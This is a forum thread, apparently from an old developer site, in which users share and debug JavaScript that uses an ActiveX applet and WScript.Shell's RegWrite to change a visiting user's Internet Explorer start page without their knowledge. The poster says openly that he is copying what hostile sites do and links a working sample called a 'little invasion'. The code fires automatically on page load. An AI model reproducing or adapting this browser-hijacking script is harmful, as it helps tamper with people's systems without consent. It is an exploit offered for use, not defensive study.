Changing the default home page 1

[Rydel]

I've noticed that some nasty pages (like porno, phreak, hack, mp3) manage to change my home page setting without my knowledge or any user intervention. I looked through the ActiveX code that was listed in this thread - thread215-164843 and use the code there. I just replaced one line there:
Instead of "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "My Browser" I put "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "

http://rydel.cjb.net/"

Unfortuntely, it gives "Error on page". Anyone out there whou could help me out? Thanks!

Regards,
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[BigBadDave]

The code is :

<applet height=&quot;0&quot; width=&quot;0&quot; code=&quot;com.ms.activeX.ActiveXComponent&quot;>
</applet>
<script>
function add_start(){
try{a0=document.applets[0];
a0.setCLSID(&quot;{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}&quot;
a0.createInstance( );
Sh0 = a0.GetObject();
a0.setCLSID(&quot;{0D43FE01-F093-11CF-8940-00A0C9054228}&quot;
try{ Sh0.RegWrite(&quot;HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page&quot;,&quot;

http://www.theurl.com&quot;);

}
catch(e){}}catch(e){}}setTimeout(&quot;add_start()&quot;,1000);
</script> Regards

Big Dave

davidbyng@hotmail.com


** If I am wrong I am sorry, but i'm only trying to help!! **

 

[Rydel]

David, thanks a lot. I am very happy to give you a star. You actually had an extra semicolon, but that's trifles. I put a working sample here for both functions:

http://www.geocities.com/rydel23/my_little_invasion.htm

I have an additional question. Where would I find out all the CLSID's for these kind of items? And what would you recommend to read about ActiveX (either an on-line resource or books). Thanks in advance.

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[Bentley22]

FYI, this does not appear to work in IE6.

 

[Rydel]

Bentley22, I tested it in IE5.5 and IE6.0, and it worked. As I mentioned already, you should delete extra semicolon inside the parenthesis.

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[BigBadDave]

The reason it works in some browsers and not others, is to do with the security settings in the browser, ie. allow activex applets or not. Regards

Big Dave

davidbyng@hotmail.com


** If I am wrong I am sorry, but i'm only trying to help!! **

 

[Bentley22]

I checked the security settings before posting, and ActiveX components are enabled. As well Rydel, I tested from your site, and no go, thats where I was getting the error from.

I get &quot;(ActiveX Component) can't be instantiated&quot;

 

[Rydel]

Then my next question: what operating system are you using? ---

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[baad]

>>Where would I find out all the CLSID's for these kind of items?

try to look in HKCR\\CLSID

(regedit -> HKEY_CLASSES_ROOT\CLSID\*.*)
Victor

 

[Bentley22]

Win 98. I've found the entries in my registry (unchanged)

 

[Rydel]

it also depends on the security settings of your browser on whether the html page will have enough rights to change records in the registry.
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